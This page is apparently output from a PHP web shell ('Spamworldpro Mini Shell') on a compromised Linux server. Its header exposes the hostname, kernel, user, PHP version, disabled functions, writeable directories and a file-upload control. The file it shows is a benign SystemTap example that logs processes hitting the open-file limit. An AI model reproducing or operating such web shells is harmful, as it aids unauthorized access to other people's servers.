Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/process/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/process/rlimit_nofile.stp
############################################################
# rlimit_nofile.stp
# Author: Robin Hack <[email protected]>
# This script watches processes being scheduled and which
# try to allocate a file descriptor without luck.
############################################################

global failed_calls

probe kernel.trace("sched_wakeup")
{
    pid = task_pid($p);
    name = task_execname($p);
    open_ds = task_open_file_handles($p);
    max_ds = task_rlimit_nofile($p);
    if (failed_calls[name, pid] == "EMFILE") {
        printf ("%s %s(%d) open: %d - max: %d Hit: %s\n",
                ctime(gettimeofday_s()), name, pid, open_ds, max_ds,
                failed_calls[name, pid]);
    }
}

probe kernel.trace("sched_process_exit")
{
    pid = task_pid($p);
    name = task_execname($p);
    delete failed_calls[name, pid];
}

# This is exactly point where all the fun happens
# This function returns only EMFILE errno.
probe kernel.function("__alloc_fd@fs/file.c").return !,
      kernel.function("alloc_fd").return
{
    if (errno_str($return) == "EMFILE")
    {
        failed_calls[execname(), pid()] = errno_str($return);
    }
}

Spamworldpro Mini